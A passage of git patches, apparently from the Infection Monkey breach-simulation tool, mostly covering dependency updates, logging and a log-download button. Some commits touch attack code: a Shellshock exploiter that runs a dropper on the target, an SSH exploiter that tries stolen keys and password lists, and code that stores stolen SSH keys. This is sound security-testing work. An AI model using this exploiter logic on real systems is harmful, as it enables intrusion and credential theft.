"dependencies": { - "number-is-nan": { - "version": "1.0.1", - "bundled": true - } - } - }, - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } - } - } - } - } + "string-width": "2.1.1" } } } }, "chalk": { - "version": "2.1.0", + "version": "2.4.1", "bundled": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" }, "dependencies": { "ansi-styles": { - "version": "3.2.0", + "version": "3.2.1", "bundled": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "1.9.1" }, "dependencies": { "color-convert": { - "version": "1.9.0", + "version": "1.9.1", "bundled": true, "requires": { "color-name": "1.1.3" @@ -9673,14 +9952,14 @@ "bundled": true }, "supports-color": { - "version": "4.4.0", + "version": "5.4.0", "bundled": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" }, "dependencies": { "has-flag": { - "version": "2.0.0", + "version": "3.0.0", "bundled": true } } @@ -9688,12 +9967,12 @@ } }, "configstore": { - "version": "3.1.1", + "version": "3.1.2", "bundled": true, "requires": { "dot-prop": "4.2.0", "graceful-fs": "4.1.11", - "make-dir": "1.0.0", + "make-dir": "1.2.0", "unique-string": "1.0.0", "write-file-atomic": "2.3.0", "xdg-basedir": "3.0.0" @@ -9713,14 +9992,14 @@ } }, "make-dir": { - "version": "1.0.0", + "version": "1.2.0", "bundled": true, "requires": { - "pify": "2.3.0" + "pify": "3.0.0" }, "dependencies": { "pify": { - "version": "2.3.0", + "version": "3.0.0", "bundled": true } } @@ -9744,23 +10023,36 @@ "version": "2.1.0", "bundled": true }, + "is-ci": { + "version": "1.1.0", + "bundled": true, + "requires": { + "ci-info": "1.1.3" + }, + "dependencies": { + "ci-info": { + "version": "1.1.3", + "bundled": true + } + } + }, "is-installed-globally": { "version": "0.1.0", "bundled": true, "requires": { - "global-dirs": "0.1.0", - "is-path-inside": "1.0.0" + "global-dirs": "0.1.1", + "is-path-inside": "1.0.1" }, "dependencies": { "global-dirs": { - "version": "0.1.0", + "version": "0.1.1", "bundled": true, "requires": { "ini": "1.3.5" } }, "is-path-inside": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true, "requires": { "path-is-inside": "1.0.2" @@ -9784,7 +10076,7 @@ "bundled": true, "requires": { "got": "6.7.1", - "registry-auth-token": "3.3.1", + "registry-auth-token": "3.3.2", "registry-url": "3.1.0", "semver": "5.5.0" }, @@ -9799,8 +10091,8 @@ "is-redirect": "1.0.0", "is-retry-allowed": "1.1.0", "is-stream": "1.1.0", - "lowercase-keys": "1.0.0", - "safe-buffer": "5.1.1", + "lowercase-keys": "1.0.1", + "safe-buffer": "5.1.2", "timed-out": "4.0.1", "unzip-response": "2.0.1", "url-parse-lax": "1.0.0" @@ -9840,7 +10132,7 @@ "bundled": true }, "lowercase-keys": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true }, "timed-out": { @@ -9867,25 +10159,25 @@ } }, "registry-auth-token": { - "version": "3.3.1", + "version": "3.3.2", "bundled": true, "requires": { - "rc": "1.2.1", - "safe-buffer": "5.1.1" + "rc": "1.2.7", + "safe-buffer": "5.1.2" }, "dependencies": { "rc": { - "version": "1.2.1", + "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "0.4.2", + "deep-extend": "0.5.1", "ini": "1.3.5", "minimist": "1.2.0", "strip-json-comments": "2.0.1" }, "dependencies": { "deep-extend": { - "version": "0.4.2", + "version": "0.5.1", "bundled": true }, "minimist": { @@ -9904,21 +10196,21 @@ "version": "3.1.0", "bundled": true, "requires": { - "rc": "1.2.1" + "rc": "1.2.7" }, "dependencies": { "rc": { - "version": "1.2.1", + "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "0.4.2", + "deep-extend": "0.5.1", "ini": "1.3.5", "minimist": "1.2.0", "strip-json-comments": "2.0.1" }, "dependencies": { "deep-extend": { - "version": "0.4.2", + "version": "0.5.1", "bundled": true }, "minimist": { @@ -9955,29 +10247,44 @@ "bundled": true }, "validate-npm-package-license": { - "version": "3.0.1", + "version": "3.0.3", "bundled": true, "requires": { - "spdx-correct": "1.0.2", - "spdx-expression-parse": "1.0.4" + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" }, "dependencies": { "spdx-correct": { - "version": "1.0.2", + "version": "3.0.0", "bundled": true, "requires": { - "spdx-license-ids": "1.2.2" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" }, "dependencies": { "spdx-license-ids": { - "version": "1.2.2", + "version": "3.0.0", "bundled": true } } }, "spdx-expression-parse": { - "version": "1.0.4", - "bundled": true + "version": "3.0.0", + "bundled": true, + "requires": { + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" + }, + "dependencies": { + "spdx-exceptions": { + "version": "2.1.0", + "bundled": true + }, + "spdx-license-ids": { + "version": "3.0.0", + "bundled": true + } + } } } }, @@ -10008,11 +10315,10 @@ } }, "worker-farm": { - "version": "1.5.4", + "version": "1.6.0", "bundled": true, "requires": { - "errno": "0.1.7", - "xtend": "4.0.1" + "errno": "0.1.7" }, "dependencies": { "errno": { @@ -10027,10 +10333,6 @@ "bundled": true } } - }, - "xtend": { - "version": "4.0.1", - "bundled": true } } }, @@ -11441,8 +11743,8 @@ "requires": { "hoist-non-react-statics": "2.5.0", "invariant": "2.2.2", - "lodash": "4.17.5", - "lodash-es": "4.17.8", + "lodash": "4.17.10", + "lodash-es": "4.17.10", "loose-envify": "1.3.1", "prop-types": "15.6.1" }, @@ -11453,14 +11755,14 @@ "integrity": "sha512-6Bl6XsDT1ntE0lHbIhr4Kp2PGcleGZ66qu5Jqk8lc0Xc/IeG6gVLmwUGs/K0Us+L8VWoKgj0uWdPMataOsm31w==" }, "lodash": { - "version": "4.17.5", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", - "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==" + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" }, "lodash-es": { - "version": "4.17.8", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.8.tgz", - "integrity": "sha512-I9mjAxengFAleSThFhhAhvba6fsO0hunb9/0sQ6qQihSZsJRBofv2rYH58WXaOb/O++eUmYpCLywSQ22GfU+sA==" + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.10.tgz", + "integrity": "sha512-iesFYPmxYYGTcmQK0sL8bX3TGHyM6b2qREaB4kamHfQyfPJP0xgoGxp19nsH16nsfquLdiyKyX3mQkfiSGV8Rg==" } } }, @@ -11502,9 +11804,9 @@ } }, "react-table": { - "version": "6.8.0", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.0.tgz", - "integrity": "sha1-XOQC63Nd9oU0wD2rs/qgMUeLalg=", + "version": "6.8.2", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.2.tgz", + "integrity": "sha1-Olrvq8hZUzANFnhvowfDBhDbmtw=", "requires": { "classnames": "2.2.5" } diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index 099c20a43..a23dd1d36 100644 --- a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -1,8 +1,9 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; +import {Button, Col} from 'react-bootstrap'; import JSONTree from 'react-json-tree' import {DataTable} from 'react-data-components'; import AuthComponent from '../AuthComponent'; +import download from 'downloadjs' const renderJson = (val) => ; const renderTime = (val) => val.split('.')[0]; @@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent { .then(res => this.setState({data: res.objects})); }; +downloadIslandLog = () => { + this.authFetch('/api/log/island/download') + .then(res => res.json()) + .then(res => { + let filename = 'Island_log' + let logContent = (res['log_file']); + download(logContent, filename, 'text/plain'); + }); + }; + render() { return ( - -

    Log

    -
    - -
    - +
    +
    + +

    Log

    +
    + +
    + +
    +
    + +

    Monkey Island Logs

    +
    +

    Download Monkey Island internal log file

    + +
    + +
    +
    ); } } From 05c4bb7ac724f2cc8048478189ae7853b9fb70e8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 10:44:47 +0300 Subject: [PATCH 63/92] Integrated an option to download the monkey island log files from the Log page in the web app. --- monkey_island/cc/island_logger_default_config.json | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 0435222f6..76e851fbc 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -23,16 +23,6 @@ "maxBytes": 10485760, "backupCount": 20, "encoding": "utf8" - }, - - "error_file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "level": "ERROR", - "formatter": "simple", - "filename": "errors.log", - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8" } }, From 509558fbb2443f441815cb1c455254fd0bbf8dd4 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 13:18:33 +0300 Subject: [PATCH 64/92] Changed the log formatting a bit, added file and function name and line numbers to the log string. --- monkey_island/cc/island_logger_default_config.json | 2 +- monkey_island/cc/resources/client_run.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 76e851fbc..e41ca3d9b 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -3,7 +3,7 @@ "disable_existing_loggers": false, "formatters": { "simple": { - "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" } }, diff --git a/monkey_island/cc/resources/client_run.py b/monkey_island/cc/resources/client_run.py index 111c0d1a2..c2e44c9aa 100644 --- a/monkey_island/cc/resources/client_run.py +++ b/monkey_island/cc/resources/client_run.py @@ -1,3 +1,4 @@ +import logging from flask import request, jsonify import flask_restful @@ -5,6 +6,8 @@ from cc.services.node import NodeService __author__ = 'itay.mizeretz' +logger = logging.getLogger(__name__) + class ClientRun(flask_restful.Resource): def get(self): @@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource): if monkey is not None: is_monkey_running = not monkey["dead"] else: + logger.info("") is_monkey_running = False return jsonify(is_running=is_monkey_running) From c7ed02b98e2e03c4a64e121bc47d68f9deeb23af Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 31 May 2018 15:38:54 +0300 Subject: [PATCH 65/92] Bugfix, run Shellshock attack as dropper rather than monkey --- infection_monkey/exploit/shellshock.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/infection_monkey/exploit/shellshock.py b/infection_monkey/exploit/shellshock.py index bca03b6ea..e1ef246b6 100644 --- a/infection_monkey/exploit/shellshock.py +++ b/infection_monkey/exploit/shellshock.py @@ -8,7 +8,7 @@ import requests from exploit import HostExploiter from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from model import MONKEY_ARG +from model import DROPPER_ARG from shellshock_resources import CGI_FILES from tools import build_monkey_commandline @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): self.attack_page(url, header, run_path) # run the monkey - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) From 9fa92d0c88f1e7146892b1cb9e9b6423c61b2314 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 31 May 2018 15:39:36 +0300 Subject: [PATCH 66/92] Fix typo in warning --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..a116a320a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -343,7 +343,7 @@ class ReportPageComponent extends AuthComponent {
  • Weak segmentation - Machines from different segments are able to communicate.
  • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
  • Weak segmentation - machines were able to communicate over unused ports.
  • : null} +
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null}
: From ad0d9f4567a957f193207b55cce552cc8b50302d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 18:35:33 +0300 Subject: [PATCH 67/92] Added more log lines --- monkey_island/cc/environment/environment.py | 1 + .../cc/resources/monkey_configuration.py | 1 + monkey_island/cc/resources/monkey_download.py | 6 ++++++ monkey_island/cc/resources/root.py | 6 ++++++ monkey_island/cc/services/config.py | 7 +++++++ monkey_island/cc/services/report.py | 15 +++++++++++++++ 6 files changed, 36 insertions(+) diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 11b868070..ebe456b3e 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -22,6 +22,7 @@ def load_env_from_file(): try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() + logger.info('Monkey\'s env is: {0}'.format(env)) except Exception: logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 6dab8dddb..22492344b 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -19,6 +19,7 @@ class MonkeyConfiguration(flask_restful.Resource): config_json = json.loads(request.data) if 'reset' in config_json: ConfigService.reset_config() + else: ConfigService.update_config(config_json, should_encrypt=True) return self.get() diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index ac1f9de2d..25e67fdb2 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -1,3 +1,4 @@ +import logging import json import os @@ -6,6 +7,8 @@ import flask_restful __author__ = 'Barak' +logger = logging.getLogger(__name__) + MONKEY_DOWNLOADS = [ { @@ -42,7 +45,10 @@ MONKEY_DOWNLOADS = [ def get_monkey_executable(host_os, machine): for download in MONKEY_DOWNLOADS: if host_os == download.get('type') and machine == download.get('machine'): + logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine)) return download + logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}' + .format(host_os, machine)) return None diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 61c788d7e..56a7695c7 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -1,4 +1,5 @@ from datetime import datetime +import logging import flask_restful from flask import request, make_response, jsonify @@ -12,6 +13,8 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +logger = logging.getLogger(__name__) + class Root(flask_restful.Resource): @@ -42,6 +45,7 @@ class Root(flask_restful.Resource): # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() + logger.info('DB was reset') return jsonify(status='OK') @staticmethod @@ -50,6 +54,7 @@ class Root(flask_restful.Resource): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, multi=True) + logger.info('Kill all monkeys was called') return jsonify(status='OK') @staticmethod @@ -59,6 +64,7 @@ class Root(flask_restful.Resource): infection_done = NodeService.is_monkey_finished_running() if not infection_done: report_done = False + logger.info('Report generation cannot be completed, infection is not done.') else: report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..ef87a8f3d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,6 +1,7 @@ import copy import collections import functools +import logging from jsonschema import Draft4Validator, validators from cc.database import mongo @@ -10,6 +11,8 @@ from cc.utils import local_ip_addresses __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + WARNING_SIGN = u" \u26A0" SCHEMA = { @@ -893,6 +896,7 @@ class ConfigService: if should_encrypt: ConfigService.encrypt_config(config_json) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + logger.info('monkey config was updated') @staticmethod def init_default_config(): @@ -908,6 +912,7 @@ class ConfigService: config = copy.deepcopy(ConfigService.default_config) if should_encrypt: ConfigService.encrypt_config(config) + logger.info("Default config was called") return config @staticmethod @@ -921,6 +926,7 @@ class ConfigService: config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) + logger.info('Monkey config reset was called') @staticmethod def set_server_ips_in_config(config): @@ -937,6 +943,7 @@ class ConfigService: initial_config['name'] = 'initial' initial_config.pop('_id') mongo.db.config.insert(initial_config) + logger.info('Monkey config was inserted to mongo and saved') @staticmethod def _extend_config_with_default(validator_class): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..c69335d71 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,4 +1,5 @@ import ipaddress +import logging from enum import Enum from cc.database import mongo @@ -10,6 +11,9 @@ from cc.utils import local_ip_addresses, get_subnets __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + + class ReportService: def __init__(self): pass @@ -77,6 +81,8 @@ class ReportService: creds = ReportService.get_azure_creds() machines = set([instance['origin'] for instance in creds]) + logger.info('Azure issues generated for reporting') + return [ { 'type': 'azure_password', @@ -103,6 +109,8 @@ class ReportService: } for node in nodes] + logger.info('Scanned nodes generated for reporting') + return nodes @staticmethod @@ -124,6 +132,8 @@ class ReportService: } for monkey in exploited] + logger.info('Exploited nodes generated for reporting') + return exploited @staticmethod @@ -147,6 +157,7 @@ class ReportService: 'origin': origin } ) + logger.info('Stolen creds generated for reporting') return creds @staticmethod @@ -167,6 +178,8 @@ class ReportService: azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', 'origin': origin} for user in azure_users] creds.extend(azure_leaked_users) + + logger.info('Azure machines creds generated for reporting') return creds @staticmethod @@ -318,6 +331,7 @@ class ReportService: if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) + logger.info('Issues generated for reporting') return issues_dict @staticmethod @@ -405,6 +419,7 @@ class ReportService: {'name': 'generated_report'}, {'$set': {'value': True}}, upsert=True) + logger.info("Report marked as generated.") @staticmethod def get_report(): From f37fabaf757beb261d8a2cfabda2950dd47f7353 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 19:27:26 +0300 Subject: [PATCH 68/92] I've added logs to cover these situations and modules: Configuration reset Configuration Insert Configuration Update Report steps Monkey downloads Env startup logs Also I've changed the logging init position so it covers every functions from main, some functions and vars are being called and init from import level, in order to log those situations I had to init the log system right on the beginning of the module. --- monkey_island/cc/environment/environment.py | 2 +- monkey_island/cc/main.py | 9 +++++---- monkey_island/cc/resources/client_run.py | 2 +- monkey_island/cc/resources/island_logs.py | 4 ++-- monkey_island/cc/resources/monkey_configuration.py | 1 - 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index ebe456b3e..094b9c235 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -22,7 +22,7 @@ def load_env_from_file(): try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() - logger.info('Monkey\'s env is: {0}'.format(env)) + logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) except Exception: logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 41e2ba576..c1133a9c8 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -9,11 +9,15 @@ BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) +from cc.island_logger import json_setup_logging +# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. +json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) +logger = logging.getLogger(__name__) + from cc.app import init_app from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up -from cc.island_logger import json_setup_logging def main(): @@ -21,9 +25,6 @@ def main(): from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop - json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) - logger = logging.getLogger(__name__) - mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) while not is_db_server_up(mongo_url): diff --git a/monkey_island/cc/resources/client_run.py b/monkey_island/cc/resources/client_run.py index c2e44c9aa..0e4be42e7 100644 --- a/monkey_island/cc/resources/client_run.py +++ b/monkey_island/cc/resources/client_run.py @@ -20,7 +20,7 @@ class ClientRun(flask_restful.Resource): if monkey is not None: is_monkey_running = not monkey["dead"] else: - logger.info("") + logger.info("Monkey is not running") is_monkey_running = False return jsonify(is_running=is_monkey_running) diff --git a/monkey_island/cc/resources/island_logs.py b/monkey_island/cc/resources/island_logs.py index 1ca1a8cdf..971306c14 100644 --- a/monkey_island/cc/resources/island_logs.py +++ b/monkey_island/cc/resources/island_logs.py @@ -1,6 +1,7 @@ -import flask_restful import logging +import flask_restful + from cc.auth import jwt_required from cc.services.island_logs import IslandLogService @@ -16,4 +17,3 @@ class IslandLog(flask_restful.Resource): return IslandLogService.get_log_file() except Exception as e: logger.error('Monkey Island logs failed to download', exc_info=True) - diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 22492344b..6dab8dddb 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -19,7 +19,6 @@ class MonkeyConfiguration(flask_restful.Resource): config_json = json.loads(request.data) if 'reset' in config_json: ConfigService.reset_config() - else: ConfigService.update_config(config_json, should_encrypt=True) return self.get() From 0503f90168af1a3fd733d3aa03b40f2a3f5006d8 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 4 Jun 2018 12:07:10 +0300 Subject: [PATCH 69/92] Notes fixed --- infection_monkey/exploit/sshexec.py | 45 +++++++++++++++---------- monkey_island/cc/resources/telemetry.py | 1 + monkey_island/cc/services/config.py | 8 +++-- monkey_island/cc/services/report.py | 2 +- 4 files changed, 35 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index 2209a0685..7c6cc6509 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -32,21 +32,7 @@ class SSHExploiter(HostExploiter): LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() - def exploit_host(self): - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - - port = SSH_PORT - # if ssh banner found on different port, use that port. - for servkey, servdata in self.host.services.items(): - if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): - port = int(servkey.replace('tcp-', '')) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - LOG.info("SSH port is closed on %r, skipping", self.host) - return False - + def exploit_with_ssh_keys(self, port, ssh): user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False @@ -67,8 +53,8 @@ class SSHExploiter(HostExploiter): timeout=None) LOG.debug("Successfully logged in %s using %s users private key", self.host, ssh_string) - self.report_login_attempt(True, user, ssh_key=ssh_string) exploited = True + self.report_login_attempt(True, user, ssh_key=ssh_string) break except Exception as exc: LOG.debug("Error logging into victim %r with %s" @@ -76,9 +62,13 @@ class SSHExploiter(HostExploiter): ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string) continue + return exploited + def exploit_with_login_creds(self, port, ssh): user_password_pairs = self._config.get_exploit_user_password_pairs() + exploited = False + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, @@ -89,8 +79,8 @@ class SSHExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) - self.report_login_attempt(True, user, curpass) exploited = True + self.report_login_attempt(True, user, curpass) break except Exception as exc: @@ -99,6 +89,27 @@ class SSHExploiter(HostExploiter): user, curpass, exc) self.report_login_attempt(False, user, curpass) continue + return exploited + + def exploit_host(self): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + port = SSH_PORT + # if ssh banner found on different port, use that port. + for servkey, servdata in self.host.services.items(): + if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): + port = int(servkey.replace('tcp-', '')) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + LOG.info("SSH port is closed on %r, skipping", self.host) + return False + + #Check for possible ssh exploits + exploited = self.exploit_with_ssh_keys(port, ssh) + if not exploited: + exploited = self.exploit_with_login_creds(port, ssh) if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 540802ca1..01caf3003 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -171,6 +171,7 @@ class Telemetry(flask_restful.Resource): ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 46773c0fb..11f58481f 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -510,6 +510,9 @@ SCHEMA = { "type": "array", "uniqueItems": True, "default": [], + "items": { + "type": "string" + }, "description": "List of SSH key pairs to use, when trying to ssh into servers" } } @@ -898,9 +901,8 @@ class ConfigService: @staticmethod def ssh_add_keys(public_key, private_key, user, ip): - if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False) - ['exploits']['exploit_ssh_keys'], - user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], + False, False), user, ip): ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 15b11e877..561ef004b 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -404,7 +404,7 @@ class ReportService: elif issue['type'] == 'ssh_key': issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ - issue['username'] in config_users: + issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True From de832780b62b65a29c55d7140710d4349da2b02e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 6 Jun 2018 13:54:21 +0300 Subject: [PATCH 70/92] Removed overly verbose logging line, triggered every 2 seconds --- monkey_island/cc/resources/root.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 56a7695c7..1d9141589 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -64,7 +64,6 @@ class Root(flask_restful.Resource): infection_done = NodeService.is_monkey_finished_running() if not infection_done: report_done = False - logger.info('Report generation cannot be completed, infection is not done.') else: report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) From 293c204dddb7fcd184efdab3c21506564a6f42a9 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 17:51:46 +0300 Subject: [PATCH 71/92] Created the MSSQL_fingerprinter branch, added the fingerprint class WIP. --- infection_monkey/network/mssql_fingerprint.py | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 infection_monkey/network/mssql_fingerprint.py diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py new file mode 100644 index 000000000..bbe762e27 --- /dev/null +++ b/infection_monkey/network/mssql_fingerprint.py @@ -0,0 +1,67 @@ +import logging +import socket + +from model.host import VictimHost +from network import HostFinger +from .tools import struct_unpack_tracker, struct_unpack_tracker_string + + +LOG = logging.getLogger(__name__) + + +class MSSQLFingerprint(HostFinger): + + def __init__(self): + self._config = 